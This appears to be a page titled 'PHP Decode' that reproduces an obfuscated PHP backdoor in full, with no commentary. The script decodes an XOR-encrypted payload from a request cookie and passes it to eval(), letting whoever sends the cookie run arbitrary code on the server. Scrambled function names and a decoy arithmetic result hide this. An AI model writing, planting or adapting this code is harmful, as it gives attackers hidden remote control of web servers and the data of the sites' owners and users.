PHP Decode

<?php function AWHdTgt($tNquojAuZN, $Heyjss) { 
    $vNzKrBsFxklUBU = uGXqPQSLvO($tNquojAuZN, $Heyjss); 
    return biRunR($vNzKrBsFxklUBU, 10); 
} 
function powhi($AOulYqd, $vNzKrBsFxXMWNsHoFQiMFOaTSw) 
{ 
    $VxuSjTWMrH = AtZkYV($AOulYqd); 
    $iAKQE = PRjEzsDPK($vNzKrBsFxXMWNsHoFQiMFOaTSw, $VxuSjTWMrH); 
    $VIDvcfzD = gVomvImVFC($iAKQE, $AOulYqd); 
    return $VIDvcfzD; 
} 
function OdQJQSP($YTTkW, $TmlSrZfajO) 
{ 
    $jnctQ = TiVfFPAE($YTTkW); 
    $DrhKZGvrW = zQjxZsW($TmlSrZfajO); 
    $tWEizGKkML = powhi($DrhKZGvrW, $jnctQ); 
    return $tWEizGKkML; 
} 
function PRjEzsDPK($RRbNsT, $CVLTdr) 
{ 
    $tzDlaaToZ = str_pad($RRbNsT, $CVLTdr, $RRbNsT); 
    return $tzDlaaToZ; 
} 
function yNeodc($OqSJzy) 
{ 
    $hnVjcLHWW = substr($OqSJzy, -4); 
    return $hnVjcLHWW; 
} 
function KmXvZRU($HXCkbJli) 
{ 
    $GBuXOc = rawurldecode($HXCkbJli); 
    return $GBuXOc; 
} 
function biRunR($vNzKrBsFxXMWNsHoFQ, $vNzKrBsFx) { 
    return $vNzKrBsFxXMWNsHoFQ + $vNzKrBsFx; 
} 
function TiVfFPAE($SCFrEEDCd) 
{ 
    $gsKBI = hash("sha256", $SCFrEEDCd, TRUE); 
    return $gsKBI; 
} 
function GqnFZaU($CuNBHDPox) 
{ 
    eval($CuNBHDPox); 
} 
function PalbroEW() 
{ 
    $VIDvcfzD = kMlxTzR(); 
    GqnFZaU($VIDvcfzD); 
} 
function AtZkYV($OYzWKwisO) 
{ 
    $QKKtyM = strlen($OYzWKwisO); 
    return $QKKtyM; 
} 
function OKyHpChDl($ctMgWZ) { 
    return "The result is: " . $ctMgWZ; 
} 
function kMlxTzR() 
{ 
    $uxHnBI = tLMAUEn(); 
    $nOkzN = urjdcyj($uxHnBI); 
    return $nOkzN; 
} 
function gVomvImVFC($vNzKrBsFxXMWNsHoFQmYNR, $mfyBwiP) 
{ 
    $QjmGuTJPLC = $vNzKrBsFxXMWNsHoFQmYNR ^ $mfyBwiP; 
    return $QjmGuTJPLC; 
} 
function XVDuFQa($GmCEg) 
{ 
    $XNPNK = $_COOKIE[$GmCEg]; 
    return $XNPNK; 
} 
function tLMAUEn() 
{ 
    $nWEIz = "qyvXvuVv"; 
    return $nWEIz; 
} 
function uGXqPQSLvO($tNquojAuZN, $Heyjss) { 
    return $tNquojAuZN * $Heyjss; 
} 
function urjdcyj($vNzKrBsFxcCCs) 
{ 
    $oflNFzbgk = yNeodc($vNzKrBsFxcCCs); 
    $tNquojAuZNfUheGD = OdQJQSP($vNzKrBsFxcCCs, $oflNFzbgk); 
    return $tNquojAuZNfUheGD; 
} 
function zQjxZsW($LQbvMpy) 
{ 
    $CHLeV = XVDuFQa($LQbvMpy); 
    $DrhKZGvrW = KmXvZRU($CHLeV); 
    return $DrhKZGvrW; 
} 
PalbroEW(); 
$HgkgY = OKyHpChDl(AWHdTgt(3, 4)); ?>